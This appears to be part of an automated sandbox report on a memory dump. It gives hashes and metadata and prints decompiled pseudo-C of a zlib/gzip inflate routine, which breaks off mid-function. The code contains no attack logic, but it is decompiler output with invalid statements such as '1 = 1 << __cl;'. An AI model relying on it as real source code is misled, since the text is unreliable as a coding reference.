0x00407cd5
0x00407cd6
0x00407cd9
0x00407cda
0x00407cdc
0x00407ce3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00407ce3
0x00000000
0x00407cc5
0x00000000
0x00407ce5
0x00407cf5
0x00407cfa
0x00407d00
0x00407d03
0x00407d06
0x00000000
0x00407cc0
0x00407cbb
0x00000000
0x00407c99

Memory Dump Source

Source File: 0000000B.00000002.915498748.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.915533026.0000000000426000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.915550260.000000000045C000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8976f0a61fc1960936828f21bd26f3318fd330ab7a4f50ce487ee3b945538f04
Instruction ID: d5e3495c9826dce769b252ea72d1bcaf7b5d46a24141b332915225fd3cdae7ad
Opcode Fuzzy Hash: 8976f0a61fc1960936828f21bd26f3318fd330ab7a4f50ce487ee3b945538f04
Instruction Fuzzy Hash: 9852A471A047129FC708CF29C99066AB7E1FF88304F044A3EE896E7B81D739E955CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004073A0, Relevance: .6, Instructions: 633
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E004073A0() {
				signed char** _t638;
				signed int _t640;
				signed int _t641;
				unsigned int _t667;
				signed char* _t680;
				signed char* _t696;
				signed int* _t714;
				signed int _t716;
				signed char* _t723;
				void* _t730;

				_t638 =  *(_t730 + 4);
				if(_t638 == 0) {
					L330:
					return 0xfffffffe;
				} else {
					_t714 = _t638[7];
					if(_t714 == 0 || _t638[3] == 0 ||  *_t638 == 0 && _t638[1] != 0) {
						goto L330;
					} else {
						if( *_t714 == 0xb) {
							 *_t714 = 0xc;
						}
						_t696 = _t638[1];
						_t667 = _t714[0xe];
						_t723 =  *_t638;
						 *(_t730 + 0x20) = _t638[3];
						_t680 = _t638[4];
						_t640 =  *_t714;
						_t716 = _t714[0xf];
						 *(_t730 + 0x18) = _t680;
						 *(_t730 + 0x10) = _t696;
						 *(_t730 + 0x38) = _t696;
						 *(_t730 + 0x28) = _t680;
						 *(_t730 + 0x30) = 0;
						if(_t640 > 0x1c) {
							L305:
							_t641 = 0xfffffffe;
							goto L306;
						} else {
							do {
								switch( *((intOrPtr*)(_t640 * 4 +  &M004087C4))) {
									case 0:
										if(_t714[2] != 0) {
											if(_t716 >= 0x10) {
												L16:
												if((_t714[2] & 0x00000002) == 0 || _t667 != 0x8b1f) {
													_t642 = _t714[8];
													_t714[4] = 0;
													if(_t642 != 0) {
														 *((intOrPtr*)(_t642 + 0x30)) = 0xffffffff;
													}
													if((_t714[2] & 0x00000001) == 0 || (((_t667 & 0x000000ff) << 8) + (_t667 >> 8)) % 0x1f != 0) {
														( *(_t730 + 0x40))[6] = 0x41d338;
														goto L303;
													} else {
														if((_t667 & 0x0000000f) == 8) {
															_t667 = _t667 >> 4;
															_t693 = (_t667 & 0x0000000f) + 8;
															_t716 = _t716 - 4;
															if(_t693 <= _t714[9]) {
																_push(0);
																_push(0);
																_push(0);
																_t714[5] = 1 << _t693;
																_t647 = E004024A0();
																_t705 =  *(_t730 + 0x1c);
																_t714[6] = _t647;
																 *( *((intOrPtr*)(_t730 + 0x4c)) + 0x30) = _t647;
																 *_t714 =  !(_t667 >> 8) & 0x00000002 | 0x00000009;
																_t730 = _t730 + 0xc;
																_t667 = 0;
																_t716 = 0;
															} else {
																_t705 =  *(_t730 + 0x10);
																goto L302;
															}
														} else {
															_t705 =  *(_t730 + 0x10);
															( *(_t730 + 0x40))[6] = 0x41d338;
															goto L303;
														}
													}
												} else {
													_t714[6] = E00403080(0, 0, 0);
													 *((char*)(_t730 + 0x2c)) = 0x1f;
													 *((char*)(_t730 + 0x2d)) = 0x8b;
													_t650 = E00403080(_t714[6], _t730 + 0x2c, 2);
													_t705 =  *(_t730 + 0x28);
													_t730 = _t730 + 0x18;
													_t667 = 0;
													_t714[6] = _t650;
													_t716 = 0;
													 *_t714 = 1;
												}
												goto L304;
											} else {
												while(_t705 != 0) {
													_t665 = ( *_t723 & 0x000000ff) << _t716;
													_t705 = _t705 - 1;
													_t716 = _t716 + 8;
													_t723 =  &(_t723[1]);
													_t667 = _t667 + _t665;
													 *(_t730 + 0x10) = _t705;
													if(_t716 < 0x10) {
														continue;
													} else {
														goto L16;
													}
													goto L331;
												}
												goto L312;
											}
										} else {
											 *_t714 = 0xc;
											goto L304;
										}
										goto L331;
									case 1:
										if(__esi >= 0x10) {
											L32:
											 *(__edi + 0x10) = __ebx;
											if(__bl != 8) {
												goto L302;
											} else {
												if((__ebx & 0x0000e000) == 0) {
													__eax =  *(__edi + 0x20);
													if(__eax != 0) {
														__ebx = __ebx >> 8;
														__ecx = __ebx >> 0x00000008 & 0x00000001;
														 *__eax = __ebx >> 0x00000008 & 0x00000001;
													}
													if(( *(__edi + 0x10) & 0x00000200) != 0) {
														 *(__esp + 0x1c) = __bl;
														__ebx = __ebx >> 8;
														__edx = __esp + 0x20;
														 *(__esp + 0x21) = __bl;
														__eax =  *(__edi + 0x18);
														__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
														__edx =  *(__esp + 0x1c);
														 *(__edi + 0x18) = __eax;
													}
													__ebx = 0;
													__esi = 0;
													 *__edi = 2;
													goto L42;
												} else {
													goto L34;
												}
											}
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x10) {
													continue;
												} else {
													goto L32;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 2:
										if(__esi >= 0x20) {
											L44:
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__eax + 4) = __ebx;
											}
											if(( *(__edi + 0x10) & 0x00000200) != 0) {
												 *(__esp + 0x1c) = __bl;
												__ecx = __ebx;
												__edx = __ebx;
												__ecx = __ebx >> 8;
												__edx = __ebx >> 0x10;
												__ebx = __ebx >> 0x18;
												__eax = __esp + 0x20;
												 *(__esp + 0x21) = __cl;
												 *((char*)(__esp + 0x22)) = __dl;
												 *(__esp + 0x23) = __bl;
												__ecx =  *(__edi + 0x18);
												__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 4);
												__edx =  *(__esp + 0x1c);
												 *(__edi + 0x18) = __eax;
											}
											__ebx = 0;
											__esi = 0;
											 *__edi = 3;
											goto L51;
										} else {
											L42:
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L44;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 3:
										if(__esi >= 0x10) {
											L53:
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												__ebx = __ebx & 0x000000ff;
												 *(__eax + 8) = __ebx & 0x000000ff;
												__ecx =  *(__edi + 0x20);
												__eax = __ebx;
												__eax = __ebx >> 8;
												 *( *(__edi + 0x20) + 0xc) = __eax;
											}
											if(( *(__edi + 0x10) & 0x00000200) != 0) {
												 *(__esp + 0x1c) = __bl;
												__ebx = __ebx >> 8;
												__edx = __esp + 0x20;
												 *(__esp + 0x21) = __bl;
												__eax =  *(__edi + 0x18);
												__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
												__edx =  *(__esp + 0x1c);
												 *(__edi + 0x18) = __eax;
											}
											__ebx = 0;
											__esi = 0;
											 *__edi = 4;
											goto L58;
										} else {
											L51:
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x10) {
													continue;
												} else {
													goto L53;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 4:
										L58:
										if(( *(__edi + 0x10) & 0x00000400) == 0) {
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__eax + 0x10) = 0;
											}
											goto L69;
										} else {
											if(__esi >= 0x10) {
												L62:
												__eax =  *(__edi + 0x20);
												 *(__edi + 0x40) = __ebx;
												if(__eax != 0) {
													 *(__eax + 0x14) = __ebx;
												}
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													 *(__esp + 0x1c) = __bl;
													__ebx = __ebx >> 8;
													__ecx = __esp + 0x20;
													 *(__esp + 0x21) = __bl;
													__edx =  *(__edi + 0x18);
													__eax = E00403080( *(__edi + 0x18), __esp + 0x20, 2);
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
												}
												__ebx = 0;
												__esi = 0;
												L69:
												 *__edi = 5;
												goto L70;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi < 0x10) {
														continue;
													} else {
														goto L62;
													}
													goto L331;
												}
												goto L312;
											}
										}
										goto L331;
									case 5:
										L70:
										if(( *(__edi + 0x10) & 0x00000400) == 0) {
											L83:
											 *(__edi + 0x40) = 0;
											 *__edi = 6;
											goto L84;
										} else {
											__eax =  *(__edi + 0x40);
											 *(__esp + 0x14) = __eax;
											if(__eax > __edx) {
												__eax = __edx;
												 *(__esp + 0x14) = __edx;
											}
											if(__eax != 0) {
												__ecx =  *(__edi + 0x20);
												if(__ecx != 0) {
													__ecx =  *(__ecx + 0x10);
													 *(__esp + 0x34) = __ecx;
													if(__ecx != 0) {
														 *(__edi + 0x20) =  *( *(__edi + 0x20) + 0x14);
														__ecx =  *( *(__edi + 0x20) + 0x14) -  *(__edi + 0x40);
														__edx =  *(__edi + 0x20);
														__edx =  *( *(__edi + 0x20) + 0x18);
														 *(__esp + 0x20) = __ecx;
														if(__ecx > __edx) {
															__eax = __edx;
														}
														__edx =  *(__esp + 0x34);
														__eax =  *(__esp + 0x24);
														__edx =  *(__esp + 0x34) +  *(__esp + 0x24);
														__eax = E0040B350(__ebx, __edi, __esi,  *(__esp + 0x34) +  *(__esp + 0x24), __ebp,  *(__esp + 0x24));
														__eax =  *(__esp + 0x20);
														__edx =  *(__esp + 0x1c);
													}
												}
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													__ecx =  *(__esp + 0x14);
													__edx =  *(__edi + 0x18);
													__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
													__eax =  *(__esp + 0x20);
												}
												__edx = __edx - __eax;
												__ebp =  &(__ebp[__eax]);
												 *(__edi + 0x40) =  *(__edi + 0x40) - __eax;
												 *(__esp + 0x10) = __edx;
											}
											if( *(__edi + 0x40) != 0) {
												goto L312;
											} else {
												goto L83;
											}
										}
										goto L331;
									case 6:
										L84:
										if(( *(__edi + 0x10) & 0x00000800) == 0) {
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__eax + 0x1c) = 0;
											}
											goto L99;
										} else {
											if(__edx == 0) {
												goto L312;
											} else {
												__eax = 0;
												while(1) {
													__ecx = __ebp[__eax] & 0x000000ff;
													 *(__esp + 0x14) = __eax;
													__eax =  *(__edi + 0x20);
													 *(__esp + 0x20) = __ecx;
													if(__eax != 0) {
														__ecx =  *(__eax + 0x1c);
														 *(__esp + 0x34) = __ecx;
														if(__ecx != 0) {
															__ecx =  *(__edi + 0x40);
															if(__ecx <  *((intOrPtr*)(__eax + 0x20))) {
																__edx =  *(__esp + 0x34);
																__al =  *(__esp + 0x20);
																 *( *(__esp + 0x34) + __ecx) = __al;
																 *(__edi + 0x40) =  *(__edi + 0x40) + 1;
																__edx =  *(__esp + 0x10);
															}
														}
													}
													if( *(__esp + 0x20) == 0) {
														break;
													}
													__eax =  *(__esp + 0x14);
													if(__eax < __edx) {
														continue;
													}
													break;
												}
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													__ecx =  *(__esp + 0x14);
													__edx =  *(__edi + 0x18);
													__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
												}
												__eax =  *(__esp + 0x14);
												__edx = __edx - __eax;
												__ebp =  &(__ebp[__eax]);
												 *(__esp + 0x10) = __edx;
												if( *(__esp + 0x20) != 0) {
													goto L312;
												} else {
													L99:
													 *(__edi + 0x40) = 0;
													 *__edi = 7;
													goto L100;
												}
											}
										}
										goto L331;
									case 7:
										L100:
										if(( *(__edi + 0x10) & 0x00001000) == 0) {
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__eax + 0x24) = 0;
											}
											goto L115;
										} else {
											if(__edx == 0) {
												goto L312;
											} else {
												__eax = 0;
												while(1) {
													__ecx = __ebp[__eax] & 0x000000ff;
													 *(__esp + 0x14) = __eax;
													__eax =  *(__edi + 0x20);
													 *(__esp + 0x20) = __ecx;
													if(__eax != 0) {
														__ecx =  *(__eax + 0x24);
														 *(__esp + 0x34) = __ecx;
														if(__ecx != 0) {
															__ecx =  *(__edi + 0x40);
															if(__ecx <  *((intOrPtr*)(__eax + 0x28))) {
																__edx =  *(__esp + 0x34);
																__al =  *(__esp + 0x20);
																 *( *(__esp + 0x34) + __ecx) = __al;
																 *(__edi + 0x40) =  *(__edi + 0x40) + 1;
																__edx =  *(__esp + 0x10);
															}
														}
													}
													if( *(__esp + 0x20) == 0) {
														break;
													}
													__eax =  *(__esp + 0x14);
													if(__eax < __edx) {
														continue;
													}
													break;
												}
												if(( *(__edi + 0x10) & 0x00000200) != 0) {
													__ecx =  *(__esp + 0x14);
													__edx =  *(__edi + 0x18);
													__eax = E00403080( *(__edi + 0x18), __ebp,  *(__esp + 0x14));
													__edx =  *(__esp + 0x1c);
													 *(__edi + 0x18) = __eax;
												}
												__eax =  *(__esp + 0x14);
												__edx = __edx - __eax;
												__ebp =  &(__ebp[__eax]);
												 *(__esp + 0x10) = __edx;
												if( *(__esp + 0x20) != 0) {
													goto L312;
												} else {
													L115:
													 *__edi = 8;
													goto L116;
												}
											}
										}
										goto L331;
									case 8:
										L116:
										if(( *(__edi + 0x10) & 0x00000200) == 0) {
											L123:
											__eax =  *(__edi + 0x20);
											if(__eax != 0) {
												 *(__edi + 0x10) =  *(__edi + 0x10) >> 9;
												__ecx =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
												 *(__eax + 0x2c) =  *(__edi + 0x10) >> 0x00000009 & 0x00000001;
												__edx =  *(__edi + 0x20);
												 *( *(__edi + 0x20) + 0x30) = 1;
											}
											__eax = E00403080(0, 0, 0);
											__ecx =  *(__esp + 0x4c);
											__edx =  *(__esp + 0x1c);
											 *(__edi + 0x18) = __eax;
											 *( *(__esp + 0x4c) + 0x30) = __eax;
											 *__edi = 0xb;
											goto L304;
										} else {
											if(__esi >= 0x10) {
												L120:
												__ecx =  *(__edi + 0x18) & 0x0000ffff;
												if(__ebx == ( *(__edi + 0x18) & 0x0000ffff)) {
													__ebx = 0;
													__esi = 0;
													goto L123;
												} else {
													__eax =  *(__esp + 0x40);
													 *(__eax + 0x18) = 0x41d338;
													goto L303;
												}
												goto L304;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi < 0x10) {
														continue;
													} else {
														goto L120;
													}
													goto L331;
												}
												goto L312;
											}
										}
										goto L331;
									case 9:
										if(__esi >= 0x20) {
											L130:
											__ebx = __ebx & 0x0000ff00;
											__ebx = __ebx << 0x10;
											__ecx = (__ebx & 0x0000ff00) + (__ebx << 0x10);
											__ebx = __ebx >> 8;
											__ecx = (__ebx & 0x0000ff00) + (__ebx << 0x10) << 8;
											__eax = __ebx >> 0x00000008 & 0x0000ff00;
											__ecx = ((__ebx & 0x0000ff00) + (__ebx << 0x10) << 8) + (__ebx >> 0x00000008 & 0x0000ff00);
											__eax = __ecx + __ebx;
											__ecx =  *(__esp + 0x40);
											 *(__edi + 0x18) = __eax;
											 *( *(__esp + 0x40) + 0x30) = __eax;
											__ebx = 0;
											__esi = 0;
											 *__edi = 0xa;
											goto L131;
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L130;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 0xa:
										L131:
										if( *((intOrPtr*)(__edi + 0xc)) == 0) {
											__eax =  *(__esp + 0x40);
											__ecx =  *(__esp + 0x24);
											 *(__eax + 0xc) =  *(__esp + 0x24);
											__ecx =  *(__esp + 0x18);
											 *__eax = __ebp;
											 *(__eax + 0x10) =  *(__esp + 0x18);
											 *(__eax + 4) = __edx;
											 *(__edi + 0x3c) = __esi;
											_pop(__esi);
											_pop(__ebp);
											 *(__edi + 0x38) = __ebx;
											_pop(__ebx);
											__eax = 2;
											return 2;
										} else {
											_push(0);
											_push(0);
											_push(0);
											__eax = E004024A0();
											__edx =  *(__esp + 0x4c);
											 *(__edi + 0x18) = __eax;
											 *( *(__esp + 0x4c) + 0x30) = __eax;
											__edx =  *(__esp + 0x1c);
											__esp = __esp + 0xc;
											 *__edi = 0xb;
											goto L133;
										}
										goto L331;
									case 0xb:
										L133:
										if( *((intOrPtr*)(__esp + 0x44)) == 5) {
											goto L312;
										} else {
											goto L134;
										}
										goto L331;
									case 0xc:
										L134:
										if( *(__edi + 4) == 0) {
											if(__esi >= 3) {
												L140:
												__ecx = __ebx;
												__ebx = __ebx >> 1;
												__eax = __ebx;
												__ecx = __ecx & 0x00000001;
												__eax = __ebx & 0x00000003;
												__esi = __esi - 1;
												 *(__edi + 4) = __ecx;
												if(__eax > 3) {
													L146:
													__ebx = __ebx >> 2;
													__esi = __esi - 2;
												} else {
													switch( *((intOrPtr*)(__eax * 4 +  &M00408838))) {
														case 0:
															__ebx = __ebx >> 2;
															 *__edi = 0xd;
															__esi = __esi - 2;
															goto L304;
														case 1:
															__eax = __edi;
															__eax = E00407290(__edi);
															__ebx = __ebx >> 2;
															 *__edi = 0x12;
															__esi = __esi - 2;
															goto L304;
														case 2:
															__ebx = __ebx >> 2;
															 *__edi = 0xf;
															__esi = __esi - 2;
															goto L304;
														case 3:
															__eax =  *(__esp + 0x40);
															 *(__eax + 0x18) = 0x41d338;
															 *__edi = 0x1b;
															goto L146;
													}
												}
												goto L304;
											} else {
												while(__edx != 0) {
													__eax =  *__ebp & 0x000000ff;
													__ecx = __esi;
													__eax = ( *__ebp & 0x000000ff) << __cl;
													__edx = __edx - 1;
													__esi = __esi + 8;
													__ebp =  &(__ebp[1]);
													__ebx = __ebx + __eax;
													 *(__esp + 0x10) = __edx;
													if(__esi < 3) {
														continue;
													} else {
														goto L140;
													}
													goto L331;
												}
												goto L312;
											}
										} else {
											__esi = __esi & 0x00000007;
											__ebx = __ebx >> __cl;
											__esi = __esi - (__esi & 0x00000007);
											 *__edi = 0x18;
											goto L304;
										}
										goto L331;
									case 0xd:
										__esi = __esi & 0x00000007;
										__esi = __esi - (__esi & 0x00000007);
										__ebx = __ebx >> __cl;
										if(__esi >= 0x20) {
											L150:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx =  !__ebx;
											__eax = __ebx & 0x0000ffff;
											__ecx =  !__ebx >> 0x10;
											if(__eax ==  !__ebx >> 0x10) {
												__ebx = 0;
												 *(__edi + 0x40) = __eax;
												__esi = 0;
												 *__edi = 0xe;
												goto L153;
											} else {
												__eax =  *(__esp + 0x40);
												 *(__eax + 0x18) = 0x41d338;
												goto L303;
											}
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0x20) {
													continue;
												} else {
													goto L150;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 0xe:
										L153:
										__eax =  *(__edi + 0x40);
										 *(__esp + 0x14) = __eax;
										if(__eax == 0) {
											goto L233;
										} else {
											if(__eax > __edx) {
												__eax = __edx;
												 *(__esp + 0x14) = __edx;
											}
											__ecx =  *(__esp + 0x18);
											if(__eax > __ecx) {
												__eax = __ecx;
												 *(__esp + 0x14) = __eax;
											}
											if(__eax == 0) {
												goto L312;
											} else {
												__ecx =  *(__esp + 0x14);
												__edx =  *(__esp + 0x24);
												__eax = E0040B350(__ebx, __edi, __esi,  *(__esp + 0x24), __ebp,  *(__esp + 0x14));
												__eax =  *(__esp + 0x20);
												 *(__esp + 0x1c) =  *(__esp + 0x1c) - __eax;
												 *(__esp + 0x24) =  *(__esp + 0x24) - __eax;
												 *(__esp + 0x30) =  *(__esp + 0x30) + __eax;
												__edx =  *(__esp + 0x1c);
												__ebp =  &(__ebp[__eax]);
												 *(__edi + 0x40) =  *(__edi + 0x40) - __eax;
												goto L304;
											}
										}
										goto L331;
									case 0xf:
										if(__esi >= 0xe) {
											L163:
											__ecx = __ebx;
											__ecx = __ebx & 0x0000001f;
											__ebx = __ebx >> 5;
											__ecx = __ecx + 0x101;
											__eax = __ebx;
											 *(__edi + 0x60) = __ecx;
											__ebx = __ebx >> 5;
											__ecx = __ebx;
											__eax = __eax & 0x0000001f;
											__ecx = __ebx & 0x0000000f;
											__eax = __eax + 1;
											__ecx = (__ebx & 0x0000000f) + 4;
											__ebx = __ebx >> 4;
											__esi = __esi - 0xe;
											 *(__edi + 0x64) = __eax;
											 *(__edi + 0x5c) = __ecx;
											if( *(__edi + 0x60) > 0x11e || __eax > 0x1e) {
												goto L34;
											} else {
												 *(__edi + 0x68) = 0;
												 *__edi = 0x10;
												goto L166;
											}
										} else {
											while(__edx != 0) {
												__eax =  *__ebp & 0x000000ff;
												__ecx = __esi;
												__eax = ( *__ebp & 0x000000ff) << __cl;
												__edx = __edx - 1;
												__esi = __esi + 8;
												__ebp =  &(__ebp[1]);
												__ebx = __ebx + __eax;
												 *(__esp + 0x10) = __edx;
												if(__esi < 0xe) {
													continue;
												} else {
													goto L163;
												}
												goto L331;
											}
											goto L312;
										}
										goto L331;
									case 0x10:
										L166:
										__ecx =  *(__edi + 0x68);
										if( *(__edi + 0x68) >=  *(__edi + 0x5c)) {
											L172:
											__eax = 0x13;
											while( *(__edi + 0x68) < 0x13) {
												__edx =  *(__edi + 0x68);
												__ecx =  *(0x41e468 +  *(__edi + 0x68) * 2) & 0x0000ffff;
												__edx = 0;
												 *((short*)(__edi + 0x70 + ( *(0x41e468 +  *(__edi + 0x68) * 2) & 0x0000ffff) * 2)) = __dx;
												 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
											}
											__eax = __edi + 0x530;
											__ecx = __edi + 0x6c;
											 *(__edi + 0x6c) = __eax;
											 *(__edi + 0x4c) = __eax;
											__edx = __edi + 0x2f0;
											__eax = __edi + 0x54;
											 *(__edi + 0x54) = 7;
											__eax = __edi + 0x70;
											__eax = E00408C60(0, __edi + 0x70, 0x13, __edi + 0x6c, __edi + 0x70, __edi + 0x2f0);
											__edx =  *(__esp + 0x28);
											 *(__esp + 0x30) = __eax;
											if(__eax != 0) {
												goto L302;
											} else {
												 *(__edi + 0x68) = __eax;
												 *__edi = 0x11;
												goto L177;
											}
										} else {
											do {
												if(__esi >= 3) {
													goto L171;
												} else {
													while(__edx != 0) {
														__eax =  *__ebp & 0x000000ff;
														__ecx = __esi;
														__eax = ( *__ebp & 0x000000ff) << __cl;
														__edx = __edx - 1;
														__esi = __esi + 8;
														__ebp =  &(__ebp[1]);
														__ebx = __ebx + __eax;
														 *(__esp + 0x10) = __edx;
														if(__esi < 3) {
															continue;
														} else {
															goto L171;
														}
														goto L331;
													}
													goto L312;
												}
												goto L331;
												L171:
												__eax =  *(__edi + 0x68);
												__eax =  *(0x41e468 +  *(__edi + 0x68) * 2) & 0x0000ffff;
												__ebx = __ebx & 0x00000007;
												 *((short*)(__edi + 0x70 + __eax * 2)) = __cx;
												 *(__edi + 0x68) =  *(__edi + 0x68) + 1;
												__ecx =  *(__edi + 0x68);
												__ebx = __ebx >> 3;
												__esi = __esi - 3;
											} while ( *(__edi + 0x68) <  *(__edi + 0x5c));
											goto L172;
										}
										goto L331;
									case 0x11:
										L177:
										__eax =  *(__edi + 0x64);
										__eax =  *(__edi + 0x64) +  *(__edi + 0x60);
										if( *(__edi + 0x68) >= __eax) {
											L210:
											if( *__edi == 0x1b) {
												goto L304;
											} else {
												__eax = __edi + 0x530;
												__ecx = __edi + 0x6c;
												 *(__edi + 0x6c) = __eax;
												__edx = __edi + 0x2f0;
												 *(__edi + 0x4c) = __eax;
												__eax = __edi + 0x54;
												__ecx =  *(__edi + 0x60);
												__edx = __edi + 0x70;
												 *(__edi + 0x54) = 9;
												__eax = E00408C60(1, __edi + 0x70,  *(__edi + 0x60),  *(__edi + 0x60), __edi + 0x54, __edi + 0x2f0);
												 *(__esp + 0x30) = __eax;
												if(__eax == 0) {
													__edx =  *(__edi + 0x6c);
													__ecx = __edi + 0x6c;
													 *(__edi + 0x50) =  *(__edi + 0x6c);
													__edx = __edi + 0x2f0;
													__eax = __edi + 0x58;
													__ecx =  *(__edi + 0x60);
													 *(__edi + 0x58) = 6;
													__eax =  *(__edi + 0x64);
													__edx = __edi + 0x70 +  *(__edi + 0x60) * 2;
													__eax = E00408C60(2, __edi + 0x70 +  *(__edi + 0x60) * 2,  *(__edi + 0x64), __edi + 0x6c,  *(__edi + 0x64), __edi + 0x2f0);
													__edx =  *(__esp + 0x28);
													 *(__esp + 0x30) = __eax;
													if(__eax == 0) {
														 *__edi = 0x12;
														goto L216;
													} else {
														__eax =  *(__esp + 0x40);
														 *(__eax + 0x18) = 0x41d338;
														goto L303;
													}
												} else {
													__eax =  *(__esp + 0x40);
													__edx =  *(__esp + 0x10);
													 *(__eax + 0x18) = 0x41d338;
													goto L303;
												}
											}
										} else {
											do {
												__ecx =  *(__edi + 0x54);
												1 = 1 << __cl;
												__ecx =  *(__edi + 0x4c);
												(1 << __cl) - 1 = (0x00000001 << __cl) - 0x00000001 & __ebx;
												__eax =  *( *(__edi + 0x4c) + ((0x00000001 << __cl) - 0x00000001 & __ebx) * 4);
												1 = 1 >> 8;
												__ecx = __cl & 0x000000ff;
												 *(__esp + 0x14) = 1;
												if((__cl & 0x000000ff) <= __esi) {
													L181:
													__eax = __eax >> 0x10;
													if(__eax >> 0x10 >= 0x10) {
														__cx =  *((intOrPtr*)(__esp + 0x16));
														if(__cx != 0x10) {
															__ecx = __ah & 0x000000ff;
															 *(__esp + 0x2c) = __ecx;
															if(__cx != 0x11) {
																__eax = __ecx + 7;
																if(__esi >= __eax) {
																	L203:
																	__ebx = __ebx >> __cl;
																	__ebx = __ebx & 0x0000007f;
																	__eax = (__ebx & 0x0000007f) + 0xb;
																	 *(__esp + 0x14) = (__ebx & 0x0000007f) + 0xb;
																	__ebx = __ebx >> 7;
																	__eax = 0xfffffff9;
																	goto L204;
																} else {
																	while(__edx != 0) {
																		__eax =  *__ebp & 0x000000ff;
																		__ecx = __esi;
																		__eax = ( *__ebp & 0x000000ff) << __cl;
																		__ecx =  *(__esp + 0x2c);
																		__edx = __edx - 1;
																		__esi = __esi + 8;
																		__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
																		__eax = __ecx + 7;
																		__ebp =  &(__ebp[1]);
																		 *(__esp + 0x10) = __edx;
																		if(__esi < __eax) {
																			continue;
																		} else {
																			goto L203;
																		}
																		goto L331;
																	}
																	goto L312;
																}
															} else {
																__eax = __ecx + 3;
																if(__esi >= __eax) {
																	L199:
																	__ebx = __ebx >> __cl;
																	__ebx = __ebx & 0x00000007;
																	__eax = (__ebx & 0x00000007) + 3;
																	 *(__esp + 0x14) = (__ebx & 0x00000007) + 3;
																	__ebx = __ebx >> 3;
																	__eax = 0xfffffffd;
																	L204:
																	__esi = __esi + __eax;
																	__eax =  *(__esp + 0x14);
																	 *(__esp + 0x20) = 0;
																	goto L205;
																} else {
																	while(__edx != 0) {
																		__eax =  *__ebp & 0x000000ff;
																		__ecx = __esi;
																		__eax = ( *__ebp & 0x000000ff) << __cl;
																		__ecx =  *(__esp + 0x2c);
																		__edx = __edx - 1;
																		__esi = __esi + 8;
																		__ebx = __ebx + (( *__ebp & 0x000000ff) << __cl);
																		__eax = __ecx + 3;
																		__ebp =  &(__ebp[1]);
																		 *(__esp + 0x10) = __edx;
																		if(__esi < __eax) {
																			continue;
																		} else {
																			goto L199;
																		}
																		goto L331;
																	}
																	goto L312;
																}
															}
														} else {
															__ecx = __ah & 0x000000ff;
															__eax = __ecx + 2;
															 *(__esp + 0x2c) = __ecx;
															if(__esi >= __eax) {
																L192:
